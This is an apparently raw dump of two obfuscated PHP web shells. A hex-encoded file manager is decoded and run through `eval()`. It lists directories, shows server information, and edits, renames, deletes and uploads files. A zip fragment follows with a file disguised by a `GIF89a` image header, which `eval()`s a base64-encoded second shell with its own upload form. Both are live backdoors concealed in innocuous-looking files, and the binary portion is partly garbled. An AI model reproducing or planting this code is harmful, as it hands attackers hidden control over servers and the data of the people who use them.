202020202020206D617267696E2D626F74746F6D3A20323070783B0A20202020202020207D0A20202020202020202E7465726D696E616C2D626F7820696E7075745B747970653D2274657874225D2C0A20202020202020202E7465726D696E616C2D626F78207465787461726561207B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20233232323B0A202020202020202020202020636F6C6F723A20233066303B0A202020202020202020202020626F726465723A2031707820736F6C696420233333333B0A20202020202020207D0A20202020202020202E6E6F74696669636174696F6E207B0A202020202020202020202020706F736974696F6E3A2066697865643B0A202020202020202020202020626F74746F6D3A20323070783B0A2020202020202020202020206C6566743A20323070783B0A20202020202020202020202070616464696E673A203130707820323070783B0A202020202020202020202020626F726465722D7261646975733A203470783B0A202020202020202020202020666F6E742D66616D696C793A20275562756E7475204D6F6E6F272C206D6F6E6F73706163653B0A202020202020202020202020666F6E742D73697A653A20313470783B0A20202020202020207D0A20202020202020202E73756363657373207B206261636B67726F756E642D636F6C6F723A20233061303B20636F6C6F723A20236666663B207D0A20202020202020202E6661696C6564207B206261636B67726F756E642D636F6C6F723A20236130303B20636F6C6F723A20236666663B207D0A20202020202020202F2A20437573746F6D2066696C6520696E70757420627574746F6E207374796C696E67202A2F0A20202020202020202366696C65496E707574207B0A202020202020202020202020646973706C61793A206E6F6E653B0A20202020202020207D0A20202020202020202E637573746F6D2D66696C652D627574746F6E207B0A202020202020202020202020626F726465723A2031707820736F6C696420236666663B0A20202020202020202020202070616464696E673A203470783B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20233333333B0A202020202020202020202020636F6C6F723A20236666663B0A202020202020202020202020637572736F723A20706F696E7465723B0A202020202020202020202020626F726465722D7261646975733A203470783B0A202020202020202020202020646973706C61793A20696E6C696E652D626C6F636B3B0A20202020202020207D0A202020203C2F7374796C653E0A3C2F686561643E0A3C626F64793E0A3C64697620636C6173733D22636F6E7461696E6572223E0A20202020267468696E73703B267468696E73703B267468696E73703B3C623E5345525620203A3C2F623E203C3F3D20697373657428245F5345525645525B275345525645525F534F465457415245275D29203F207068705F756E616D652829203A202253657276657220696E666F726D6174696F6E206E6F7420617661696C61626C65223B203F3E3C62723E0A20202020267468696E73703B267468696E73703B267468696E73703B3C623E534F465420203A3C2F623E203C3F706870206563686F20245F5345525645525B275345525645525F534F465457415245275D3B3F3E3C62723E0A20202020267468696E73703B267468696E73703B267468696E73703B3C623E49502020266E6273703B266E6273703B3A3C2F623E203C3F3D20676574686F737462796E616D6528245F5345525645525B27485454505F484F5354275D29203F3E3C62723E0A202020203C62723E3C623E2623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231323C2F623E0A202020203C62723E3C62723E3C666F726D2069643D2275706C6F6164466F726D2220636C6173733D22616A6178466F726D22206D6574686F643D22504F5354223E0A20202020202020203C6C6162656C20666F723D2266696C65496E7075742220636C6173733D22637573746F6D2D66696C652D627574746F6E222069643D2266696C654C6162656C223E43686F6F73652046696C653C2F6C6162656C3E0A20202020202020203C696E70757420747970653D2266696C65222069643D2266696C65496E707574222072657175697265643E0A20202020202020203C696E70757420747970653D227375626D6974222076616C75653D2255706C6F6164223E0A202020203C2F666F726D3E0A0A202020203C62723E3C6469762069643D2262726561646372756D62436F6E7461696E6572223E0A202020203C3F7068700A20202020246B203D20707265675F73706C697428222F285C5C5C5C7C5C2F292F222C202464293B0A20202020666F72656163682028246B20617320246D203D3E20246C29207B0A202020202020202069662028246C203D3D20272720262620246D203D3D203029207B0A2020202020202020202020206563686F20273C6120636C6173733D22616A782220687265663D223F643D3266223E2F3C2F613E273B0A20202020202020207D0A202020202020202069662028246C203D3D2027272920636F6E74696E75653B0A20202020202020206563686F20273C6120636C6173733D22616A782220687265663D223F643D273B0A2020202020202020666F7220282469203D20303B202469203C3D20246D3B2024692B2B29207B0A2020202020202020202020206563686F2068657828246B5B24695D293B0A20202020202020202020202069662028246920213D20246D29206563686F20273266273B0A20202020202020207D0A20202020202020206563686F2027223E272E246C2E273C2F613E2F273B0A202020207D0A202020203F3E0A3C2F6469763E3C62723E0A3C6469762069643D22616374696F6E436F6E7461696E6572223E3C2F6469763E3C62723E0A202020203C6469762069643D2266696C654C697374436F6E7461696E6572223E0A20202020202020203C3F7068700A202020202020202024656E7472696573203D207363616E646972282464293B0A2020202020202020246469724C697374203D205B5D3B0A20202020202020202466696C654C697374203D205B5D3B0A2020202020202020666F7265616368202824656E74726965732061732024656E74727929207B0A2020202020202020202020206966202824656E747279203D3D20272E27207C7C2024656E747279203D3D20272E2E272920636F6E74696E75653B0A2020202020202020202020202470617468203D202464202E204449524543544F52595F534550415241544F52202E2024656E7472793B0A2020202020202020202020206966202869735F6469722824706174682929207B0A20202020202020202020202020202020246469724C6973745B5D203D2024656E7472793B0A2020202020202020202020207D20656C7365207B0A202020202020202020202020202020202466696C654C6973745B5D203D2024656E7472793B0A2020202020202020202020207D0A20202020202020207D0A20202020202020203F3E0A20202020202020203C7461626C653E0A2020202020202020202020203C74686561643E0A202020202020202020202020202020203C74723E0A20202020202020202020202020202020202020203C74683E4E616D653C2F74683E0A20202020202020202020202020202020202020203C74683E53697A653C2F74683E0A20202020202020202020202020202020202020203C74683E416374696F6E733C2F74683E0A202020202020202020202020202020203C2F74723E0A2020202020202020202020203C2F74686561643E0A2020202020202020202020203C74626F64793E0A2020202020202020202020203C3F7068700A202020202020202020202020666F72656163682028246469724C6973742061732024656E74727929207B0A202020202020202020202020202020202470617468203D202464202E204449524543544F52595F534550415241544F52202E2024656E7472793B0A202020202020202020202020202020206563686F20273C74723E273B0A202020202020202020202020202020206563686F20273C74643E3C6120636C6173733D22616A61784469722220687265663D223F643D27202E2068657828247061746829202E2027223E27202E2068746D6C7370656369616C63686172732824656E74727929202E20273C2F613E3C2F74643E273B0A202020202020202020202020202020206563686F20273C74643E2D3C2F74643E273B0A202020202020202020202020202020206563686F20273C74643E3C2F74643E273B0A202020202020202020202020202020206563686F20273C2F74723E273B0A2020202020202020202020207D0A202020202020202020202020666F726561636820282466696C654C6973742061732024656E74727929207B0A202020202020202020202020202020202470617468203D202464202E204449524543544F52595F534550415241544F52202E2024656E7472793B0A202020202020202020202020202020206563686F20273C74723E273B0A202020202020202020202020202020206563686F20273C74643E27202E2068746D6C7370656369616C63686172732824656E74727929202E20273C2F74643E273B0A202020202020202020202020202020206563686F20273C74643E27202E202869735F66696C6528247061746829203F2066696C6573697A6528247061746829202E202720627974657327203A20272D2729202E20273C2F74643E273B0A202020202020202020202020202020206563686F20273C74643E273B0A202020202020202020202020202020206563686F20273C6120636C6173733D22616A6178456469742220687265663D223F616374696F6E3D6564697426643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F64652824656E74727929202E2027223E456469743C2F613E207C20273B0A202020202020202020202020202020206563686F20273C6120636C6173733D22616A617852656E616D652220687265663D223F616374696F6E3D72656E616D6526643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F64652824656E74727929202E2027223E52656E616D653C2F613E207C20273B0A202020202020202020202020202020206563686F20273C6120636C6173733D22616A617844656C6574652220687265663D223F616374696F6E3D64656C65746526643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F64652824656E74727929202E2027223E44656C6574653C2F613E273B0A202020202020202020202020202020206563686F20273C2F74643E273B0A202020202020202020202020202020206563686F20273C2F74723E273B0A2020202020202020202020207D0A2020202020202020202020203F3E0A2020202020202020202020203C2F74626F64793E0A20202020202020203C2F7461626C653E0A202020203C2F6469763E0A3C2F6469763E0A0A3C64697620636C6173733D226E6F74696669636174696F6E222069643D226E6F74696669636174696F6E22207374796C653D22646973706C61793A6E6F6E653B223E3C2F6469763E0A0A3C7363726970743E0A2F2F2053686F77206E6F74696669636174696F6E20696E2074686520626F74746F6D206C65667420636F726E65723B206175746F2D6469736D6973732061667465722032207365636F6E64732E0A66756E6374696F6E2073686F774E6F74696669636174696F6E287374617475732C206D736729207B0A20202020766172206E6F746966203D20646F63756D656E742E676574456C656D656E744279496428276E6F74696669636174696F6E27293B0A202020206E6F7469662E636C6173734E616D65203D20276E6F74696669636174696F6E2027202B207374617475733B0A202020206E6F7469662E696E6E657254657874203D206D73673B0A202020206E6F7469662E7374796C652E646973706C6179203D2027626C6F636B273B0A2020202073657454696D656F75742866756E6374696F6E28297B206E6F7469662E7374796C652E646973706C6179203D20276E6F6E65273B207D2C2032303030293B0A7D0A0A66756E6374696F6E206C6F616442726561646372756D622829207B0A202020207661722064203D206765745175657279506172616D2822642229207C7C20223C3F706870206563686F20686578282464293B203F3E223B0A20202020666574636828273F643D27202B2064202B202726616A61783D62726561646372756D62272C207B20686561646572733A207B2027582D5265717565737465642D57697468273A2027584D4C487474705265717565737427207D207D290A202020202E7468656E28726573706F6E7365203D3E20726573706F6E73652E746578742829290A202020202E7468656E2868746D6C203D3E207B0A2020202020202020646F63756D656E742E676574456C656D656E7442794964282762726561646372756D62436F6E7461696E657227292E696E6E657248544D4C203D2068746D6C3B0A202020207D293B0A7D0A0A66756E6374696F6E206765745175657279506172616D286E616D6529207B0A20202020636F6E73742075726C506172616D73203D206E65772055524C536561726368506172616D732877696E646F772E6C6F636174696F6E2E736561726368293B0A2020202072657475726E2075726C506172616D732E676574286E616D65293B0A7D0A0A66756E6374696F6E206C6F616446696C654C6973742829207B0A202020207661722064203D206765745175657279506172616D2822642229207C7C20223C3F706870206563686F20686578282464293B203F3E223B0A20202020666574636828273F643D27202B2064202B202726616A61783D31272C207B20686561646572733A207B2027582D5265717565737465642D57697468273A2027584D4C487474705265717565737427207D207D290A202020202E7468656E28726573706F6E7365203D3E20726573706F6E73652E746578742829290A202020202E7468656E2868746D6C203D3E207B0A2020202020202020646F63756D656E742E676574456C656D656E7442794964282766696C654C697374436F6E7461696E657227292E696E6E657248544D4C203D2068746D6C3B0A2020202020202020617474616368416A61784576656E747328293B202F2F207265617474616368206576656E7473206166746572207570646174650A2020202020202020726573657446696C65496E7075744C6162656C28293B0A202020207D293B0A7D0A0A66756E6374696F6E20726573657446696C65496E7075744C6162656C2829207B0A20202020766172206C6162656C203D20646F63756D656E742E676574456C656D656E7442794964282766696C654C6162656C27293B0A202020206966286C6162656C29207B0A20202020202020206C6162656C2E74657874436F6E74656E74203D202243686F6F73652046696C65223B0A202020207D0A7D0A0A66756E6374696F6E20617474616368416A61784576656E74732829207B0A20202020646F63756D656E742E717565727953656C6563746F72416C6C28272E616A617844656C65746527292E666F72456163682866756E6374696F6E286C696E6B29207B0A20202020202020206C696E6B2E6164644576656E744C697374656E65722827636C69636B272C2066756E6374696F6E286529207B0A202020202020202020202020652E70726576656E7444656661756C7428293B0A2020202020202020202020206665746368286C696E6B2E687265662C207B20686561646572733A207B2027582D5265717565737465642D57697468273A2027584D4C487474705265717565737427207D207D290A2020202020202020202020202E7468656E28726573706F6E7365203D3E20726573706F6E73652E6A736F6E2829290A2020202020202020202020202E7468656E2864617461203D3E207B0A2020202020202020202020202020202073686F774E6F74696669636174696F6E28646174612E7374617475732C20646174612E6D7367293B0A202020202020202020202020202020206C6F616446696C654C69737428293B0A20202020202020202020202020202020726573657446696C65496E70757428293B0A2020202020202020202020207D293B0A20202020202020207D293B0A202020207D293B0A20202020646F63756D656E742E717565727953656C6563746F72416C6C28272E616A61784564697427292E666F72456163682866756E6374696F6E286C696E6B29207B0A20202020202020206C696E6B2E6164644576656E744C697374656E65722827636C69636B272C2066756E6374696F6E286529207B0A202020202020202020202020652E70726576656E7444656661756C7428293B0A2020202020202020202020206665746368286C696E6B2E687265662C207B20686561646572733A207B2027582D5265717565737465642D57697468273A2027584D4C487474705265717565737427207D207D290A2020202020202020202020202E7468656E28726573706F6E7365203D3E20726573706F6E73652E746578742829290A2020202020202020202020202E7468656E2868746D6C203D3E207B0A20202020202020202020202020202020646F63756D656E742E676574456C656D656E74427949642827616374696F6E436F6E7461696E657227292E696E6E657248544D4C203D2068746D6C3B0A20202020202020202020202020202020617474616368416A6178466F726D28293B0A2020202020202020202020202020202061747461636843616E63656C4576656E7428293B0A20202020202020202020202020202020726573657446696C65496E7075744C6162656C28293B0A20202020202020202020202020202020726573657446696C65496E70757428293B0A2020202020202020202020207D293B0A20202020202020207D293B0A202020207D293B0A20202020646F63756D656E742E717565727953656C6563746F72416C6C28272E616A617852656E616D6527292E666F72456163682866756E6374696F6E286C696E6B29207B0A20202020202020206C696E6B2E6164644576656E744C697374656E65722827636C69636B272C2066756E6374696F6E286529207B0A202020202020202020202020652E70726576656E7444656661756C7428293B0A2020202020202020202020206665746368286C696E6B2E687265662C207B20686561646572733A207B2027582D5265717565737465642D57697468273A2027584D4C487474705265717565737427207D207D290A2020202020202020202020202E7468656E28726573706F6E7365203D3E20726573706F6E73652E746578742829290A2020202020202020202020202E7468656E2868746D6C203D3E207B0A20202020202020202020202020202020646F63756D656E742E676574456C656D656E74427949642827616374696F6E436F6E7461696E657227292E696E6E657248544D4C203D2068746D6C3B0A20202020202020202020202020202020617474616368416A6178466F726D28293B0A2020202020202020202020202020202061747461636843616E63656C4576656E7428293B0A20202020202020202020202020202020726573657446696C65496E7075744C6162656C28293B0A20202020202020202020202020202020726573657446696C65496E70757428293B0A2020202020202020202020207D293B0A20202020202020207D293B0A202020207D293B0A20202020646F63756D656E742E717565727953656C6563746F72416C6C28272E616A617844697227292E666F72456163682866756E6374696F6E286C696E6B29207B0A202020206C696E6B2E6164644576656E744C697374656E65722827636C69636B272C2066756E6374696F6E286529207B0A2020202020202020652E70726576656E7444656661756C7428293B0A202020202020202077696E646F772E686973746F72792E707573685374617465286E756C6C2C2027272C206C696E6B2E68726566293B0A20202020202020206C6F616446696C654C69737428293B20202F2F2052656C6F6164207468652066696C65206C6973740A20202020202020206C6F616442726561646372756D6228293B202F2F2052656C6F6164207468652062726561646372756D620A2020202020202020726573657446696C65496E7075744C6162656C28293B0A2020202020202020726573657446696C65496E70757428293B0A202020207D293B0A7D293B0A7D0A0A66756E6374696F6E20617474616368416A6178466F726D2829207B0A20202020646F63756D656E742E717565727953656C6563746F72416C6C28272E616A6178466F726D27292E666F72456163682866756E6374696F6E28666F726D29207B0A2020202020202020666F726D2E6164644576656E744C697374656E657228277375626D6974272C2066756E6374696F6E286529207B0A202020202020202020202020652E70726576656E7444656661756C7428293B0A20202020202020202020202076617220666F726D44617461203D206E657720466F726D4461746128666F726D293B0A202020202020202020202020666574636828666F726D2E616374696F6E2C207B206D6574686F643A2027504F5354272C20626F64793A20666F726D446174612C20686561646572733A207B2027582D5265717565737465642D57697468273A2027584D4C487474705265717565737427207D207D290A2020202020202020202020202E7468656E28726573706F6E7365203D3E20726573706F6E73652E6A736F6E2829290A2020202020202020202020202E7468656E2864617461203D3E207B0A2020202020202020202020202020202073686F774E6F74696669636174696F6E28646174612E7374617475732C20646174612E6D7367293B0A20202020202020202020202020202020646F63756D656E742E676574456C656D656E74427949642827616374696F6E436F6E7461696E657227292E696E6E657248544D4C203D2027273B0A202020202020202020202020202020206C6F616446696C654C69737428293B0A20202020202020202020202020202020726573657446696C65496E7075744C6162656C28293B0A2020202020202020202020207D293B0A20202020202020207D293B0A202020207D293B0A7D0A0A66756E6374696F6E2061747461636843616E63656C4576656E742829207B0A202020207661722063616E63656C42746E203D20646F63756D656E742E676574456C656D656E7442794964282763616E63656C416374696F6E27293B0A2020202069662863616E63656C42746E29207B0A202020202020202063616E63656C42746E2E6164644576656E744C697374656E65722827636C69636B272C2066756E6374696F6E2829207B0A202020202020202020202020646F63756D656E742E676574456C656D656E74427949642827616374696F6E436F6E7461696E657227292E696E6E657248544D4C203D2027273B0A202020202020202020202020726573657446696C65496E7075744C6162656C28293B0A20202020202020207D293B0A202020207D0A7D0A0A66756E6374696F6E20726573657446696C65496E7075742829207B0A202020207661722066696C65496E707574203D20646F63756D656E742E676574456C656D656E7442794964282766696C65496E70757427293B0A202020207661722066696C654C6162656C203D20646F63756D656E742E676574456C656D656E7442794964282766696C654C6162656C27293B0A202020206966202866696C65496E70757429207B0A202020202020202066696C65496E7075742E76616C7565203D2022223B202F2F20436C65617220616E792073656C65637465642066696C650A202020207D0A202020206966202866696C654C6162656C29207B0A202020202020202066696C654C6162656C2E74657874436F6E74656E74203D202243686F6F73652046696C65223B202F2F205265736574206C6162656C20746578740A202020207D0A7D0A0A646F63756D656E742E6164644576656E744C697374656E65722827444F4D436F6E74656E744C6F61646564272C2066756E6374696F6E2829207B0A20202020617474616368416A61784576656E747328293B0A202020207661722066696C65496E707574203D20646F63756D656E742E676574456C656D656E7442794964282766696C65496E70757427293B0A202020207661722075706C6F6164466F726D203D20646F63756D656E742E676574456C656D656E7442794964282775706C6F6164466F726D27293B0A0A2020202066696C65496E7075742E6164644576656E744C697374656E657228276368616E6765272C2066756E6374696F6E2829207B0A2020202020202020766172206C6162656C203D20646F63756D656E742E676574456C656D656E7442794964282766696C654C6162656C27293B0A202020202020202069662866696C65496E7075742E66696C65732E6C656E677468203E203029207B0A2020202020202020202020206C6162656C2E74657874436F6E74656E74203D2066696C65496E7075742E66696C65735B305D2E6E616D653B0A20202020202020207D20656C7365207B0A2020202020202020202020206C6162656C2E74657874436F6E74656E74203D202243686F6F73652046696C65223B0A20202020202020207D0A202020207D293B0A0A2020202069662875706C6F6164466F726D29207B0A202020202020202075706C6F6164466F726D2E6164644576656E744C697374656E657228277375626D6974272C2066756E6374696F6E286529207B0A202020202020202020202020652E70726576656E7444656661756C7428293B0A20202020202020202020202069662866696C65496E7075742E66696C65732E6C656E677468203D3D3D2030292072657475726E3B0A0A2020202020202020202020207661722066696C65203D2066696C65496E7075742E66696C65735B305D3B0A20202020202020202020202076617220726561646572203D206E65772046696C6552656164657228293B0A0A2020202020202020202020207265616465722E6F6E6C6F6164203D2066756E6374696F6E286576656E7429207B0A20202020202020202020202020202020766172206172726179427566666572203D206576656E742E7461726765742E726573756C743B0A20202020202020202020202020202020766172206279746573203D206E65772055696E74384172726179286172726179427566666572293B0A2020202020202020202020202020202076617220686578537472696E67203D2027273B0A20202020202020202020202020202020666F7220287661722069203D20303B2069203C2062797465732E6C656E6774683B20692B2B29207B0A2020202020202020202020202020202020202020686578537472696E67202B3D2062797465735B695D2E746F537472696E67283136292E706164537461727428322C20273027293B0A202020202020202020202020202020207D0A0A2020202020202020202020202020202076617220666F726D44617461203D206E657720466F726D4461746128293B0A20202020202020202020202020202020666F726D446174612E617070656E64282262656E6B796F222C2066696C652E6E616D65293B0A20202020202020202020202020202020666F726D446174612E617070656E64282264616B656A61222C20686578537472696E67293B0A0A2020202020202020202020202020202066657463682875706C6F6164466F726D2E616374696F6E207C7C2077696E646F772E6C6F636174696F6E2E687265662C207B0A20202020202020202020202020202020202020206D6574686F643A2027504F5354272C0A2020202020202020202020202020202020202020626F64793A20666F726D446174612C0A2020202020202020202020202020202020202020686561646572733A207B2027582D5265717565737465642D57697468273A2027584D4C487474705265717565737427207D0A202020202020202020202020202020207D290A202020202020202020202020202020202E7468656E28726573706F6E7365203D3E20726573706F6E73652E6A736F6E2829290A202020202020202020202020202020202E7468656E2864617461203D3E207B0A202020202020202020202020202020202020202073686F774E6F74696669636174696F6E28646174612E7374617475732C20646174612E6D7367293B0A202020202020202020202020202020202020202075706C6F6164466F726D2E726573657428293B0A2020202020202020202020202020202020202020726573657446696C65496E7075744C6162656C28293B0A20202020202020202020202020202020202020206C6F616446696C654C69737428293B0A202020202020202020202020202020207D293B0A2020202020202020202020207D3B0A0A2020202020202020202020207265616465722E72656164417341727261794275666665722866696C65293B0A20202020202020207D293B0A202020207D0A7D293B0A3C2F7363726970743E0A3C666F6F74657220636C6173733D226675746572223E0A0909090926636F70793B207A65696E686F726F626F73750A0909093C2F666F6F7465723E0A3C2F626F64793E0A3C2F68746D6C3E0A";$gstatic=binalar($list);return $gstatic;}}$hover=new plugin_binalar_eski();$letter=$hover->plugin_binalar_eskii();eval(jgkl().$letter);function jgkl(){}function binalar($margin){$background='';for($i=0;$i<strlen($margin);$i+=2){$background.=chr(hexdec($margin[$i].$margin[$i+1]));}return $background;}PKLm\ �]��W�W	pbyk4.phpnu�[���GIF89a
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<title>php</title>
<?=eval("?>".base64_decode("PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KCjxoZWFkPgoJCTxtZXRhIGNoYXJzZXQ9
InV0Zi04Ij4KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Ut
d2lkdGgsIGluaXRpYWwtc2NhbGU9MC43NSwgc2hyaW5rLXRvLWZpdD1ubyI+CiAgICA8bGluayBy
ZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vc3RhY2twYXRoLmJvb3RzdHJhcGNkbi5jb20v
Ym9vdHN0cmFwLzQuMS4zL2Nzcy9ib290c3RyYXAubWluLmNzcyIgaW50ZWdyaXR5PSJzaGEzODQt
TUN3OTgvU0ZuR0U4ZkpUM0dYd0VPbmdzVjdadDI3TlhGb2FvQXBtWW04MWl1WG9Qa0ZPSndKOEVS
ZGtuTFBNTyIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+CiAgICA8bGluayByZWw9InN0eWxlc2hl
ZXQiIGhyZWY9Imh0dHBzOi8vdXNlLmZvbnRhd2Vzb21lLmNvbS9yZWxlYXNlcy92NS43LjEvY3Nz
L2FsbC5jc3MiIGludGVncml0eT0ic2hhMzg0LWZubU9DcWJUbFdJbGo4THlUam83bU9VU3Rqc0tD
NHBPcFFicXlpN1JyaE43dWRpOVJ3aEtrTUhwdkxiSEc5U3IiIGNyb3Nzb3JpZ2luPSJhbm9ueW1v
dXMiLz4KICA8IS0tIEN1c3RvbSBzdHlsZXMgZm9yIHRoaXMgdGVtcGxhdGUgLS0+CiAgPHN0eWxl
Pgpib2R5IHsKICBvdmVyZmxvdy14OiBoaWRkZW47Cn0KLmljbyB7d2lkdGg6MjBweDt9Ci5pY28y
e3dpZHRoOjIwcHg7fQojc2lkZWJhci13cmFwcGVyIHsKICBtaW4taGVpZ2h0OiAxMDB2aDsKICBt
YXJnaW4tbGVmdDogLTE1cmVtOwogIC13ZWJraXQtdHJhbnNpdGlvbjogbWFyZ2luIC4yNXMgZWFz
ZS1vdXQ7CiAgLW1vei10cmFuc2l0aW9uOiBtYXJnaW4gLjI1cyBlYXNlLW91dDsKICAtby10cmFu
c2l0aW9uOiBtYXJnaW4gLjI1cyBlYXNlLW91dDsKICB0cmFuc2l0aW9uOiBtYXJnaW4gLjI1cyBl
YXNlLW91dDsKfQoKI3NpZGViYXItd3JhcHBlciAuc2lkZWJhci1oZWFkaW5nIHsKICBwYWRkaW5n
OiAwLjg3NXJlbSAxLjI1cmVtOwogIGZvbnQtc2l6ZTogMS4ycmVtOwp9Cgojc2lkZWJhci13cmFw
cGVyIC5saXN0LWdyb3VwIHsKICB3aWR0aDogMTVyZW07Cn0KCiNwYWdlLWNvbnRlbnQtd3JhcHBl
ciB7CiAgbWluLXdpZHRoOiAxMDB2dzsKfQoKI3dyYXBwZXIudG9nZ2xlZCAjc2lkZWJhci13cmFw
cGVyIHsKICBtYXJnaW4tbGVmdDogMDsKfQoKQG1lZGlhIChtaW4td2lkdGg6IDc2OHB4KSB7CiAg
I3NpZGViYXItd3JhcHBlciB7CiAgICBtYXJnaW4tbGVmdDogMDsKICB9CgogICNwYWdlLWNvbnRl
bnQtd3JhcHBlciB7CiAgICBtaW4td2lkdGg6IDA7CiAgICB3aWR0aDogMTAwJTsKICB9CgogICN3
cmFwcGVyLnRvZ2dsZWQgI3NpZGViYXItd3JhcHBlciB7CiAgICBtYXJnaW4tbGVmdDogLTE1cmVt
OwogIH0KfQogIDwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CiAgICA8ZGl2IGlkPSJwYWdlLWNvbnRl
bnQtd3JhcHBlciI+CgogICAgICA8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWV4cGFuZC1sZyBu
YXZiYXItbGlnaHQgYmctbGlnaHQgYm9yZGVyLWJvdHRvbSI+CiAgICAgICAgPGJ1dHRvbiBjbGFz
cz0iYnRuIGJ0bi1wcmltYXJ5IiBpZD0ibWVudS10b2dnbGUiPjxpIGNsYXNzPSJmYSBmYS11c2Vy
Ij48L2k+PC9idXR0b24+CgogICAgICAgIDxidXR0b24gY2xhc3M9Im5hdmJhci10b2dnbGVyIiB0
eXBlPSJidXR0b24iIGRhdGEtdG9nZ2xlPSJjb2xsYXBzZSIgZGF0YS10YXJnZXQ9IiNuYXZiYXJT
dXBwb3J0ZWRDb250ZW50IiBhcmlhLWNvbnRyb2xzPSJuYXZiYXJTdXBwb3J0ZWRDb250ZW50IiBh
cmlhLWV4cGFuZGVkPSJmYWxzZSIgYXJpYS1sYWJlbD0iVG9nZ2xlIG5hdmlnYXRpb24iPgogICAg
ICAgICAgPHNwYW4gY2xhc3M9Im5hdmJhci10b2dnbGVyLWljb24iPjwvc3Bhbj4KICAgICAgICA8
L2J1dHRvbj4KCiAgICAgICAgPGRpdiBjbGFzcz0iY29sbGFwc2UgbmF2YmFyLWNvbGxhcHNlIiBp
ZD0ibmF2YmFyU3VwcG9ydGVkQ29udGVudCI+CiAgICAgICAgICA8dWwgY2xhc3M9Im5hdmJhci1u
YXYgbWwtYXV0byBtdC0yIG10LWxnLTAiPgogICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVt
IGFjdGl2ZSI+CiAgICAgICAgICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSI/Ij5Ib21l
IDxzcGFuIGNsYXNzPSJzci1vbmx5Ij4oY3VycmVudCk8L3NwYW4+PC9hPgogICAgICAgICAgICA8
L2xpPgogICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgICAgICAgIAo8P3Bo
cAppZihpc3NldCgkX0dFVFsncGF0aCddKSl7CiRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKfWVsc2V7
CiRwYXRoID0gZ2V0Y3dkKCk7Cn0KJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7
CiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCmZvcmVhY2goICRwYXRocyBhcyAkaWQgPT4g
JHBhdCApewppZiggJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCApewokYSA9IHRydWU7CmVjaG8gJ+Ck
teCksOCljeCkpOCkruCkvuCkqCDgpKjgpL/gpKbgpYfgpLbgpJUgPT4gPGEgaHJlZj0iP3BhdGg9
LyI+LzwvYT4nOwpjb250aW51ZTsKfQppZiggJHBhdCA9PSAnJyApIGNvbnRpbnVlOwplY2hvICc8
YSBocmVmPSI/cGF0aD0nOwpmb3IoICRpID0gMDsgJGkgPD0gJGlkOyAkaSsrKXsKZWNobyAiJHBh
dGhzWyRpXSI7CmlmKCAkaSAhPSAkaWQgKSBlY2hvICIvIjsKfQplY2hvICciPicuJHBhdC4nPC9h
Pi8nOwp9Cj8+CiAgICAgICAgICAgICAKICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgPGxp
IGNsYXNzPSJuYXYtaXRlbSBkcm9wZG93biI+CiAgICAgICAgICAgICAgPGEgY2xhc3M9Im5hdi1s
aW5rIGRyb3Bkb3duLXRvZ2dsZSIgaHJlZj0iIyIgaWQ9Im5hdmJhckRyb3Bkb3duIiByb2xlPSJi
dXR0b24iIGRhdGEtdG9nZ2xlPSJkcm9wZG93biIgYXJpYS1oYXNwb3B1cD0idHJ1ZSIgYXJpYS1l
eHBhbmRlZD0iZmFsc2UiPgogICAgICAgICAgICAgICAg4KS44KWC4KSa4KSo4KS+IOCkj+CkteCk
giDgpIXgpKrgpLLgpYvgpKEKICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgPGRpdiBj
bGFzcz0iZHJvcGRvd24tbWVudSBkcm9wZG93bi1tZW51LXJpZ2h0IiBhcmlhLWxhYmVsbGVkYnk9
Im5hdmJhckRyb3Bkb3duIj4KICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJkcm9wZG93bi1pdGVt
IiBocmVmPSI/aW5mbyI+SW5mbyBTZXJ2ZXI8L2E+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNz
PSJkcm9wZG93bi1kaXZpZGVyIj48L2Rpdj4KICAgICAgICAgICAgICAgIDxjZW50ZXI+CiAgICAg
ICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0
YSI+CiAgICAgICAgICAgICAgIAk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSI+PGlucHV0
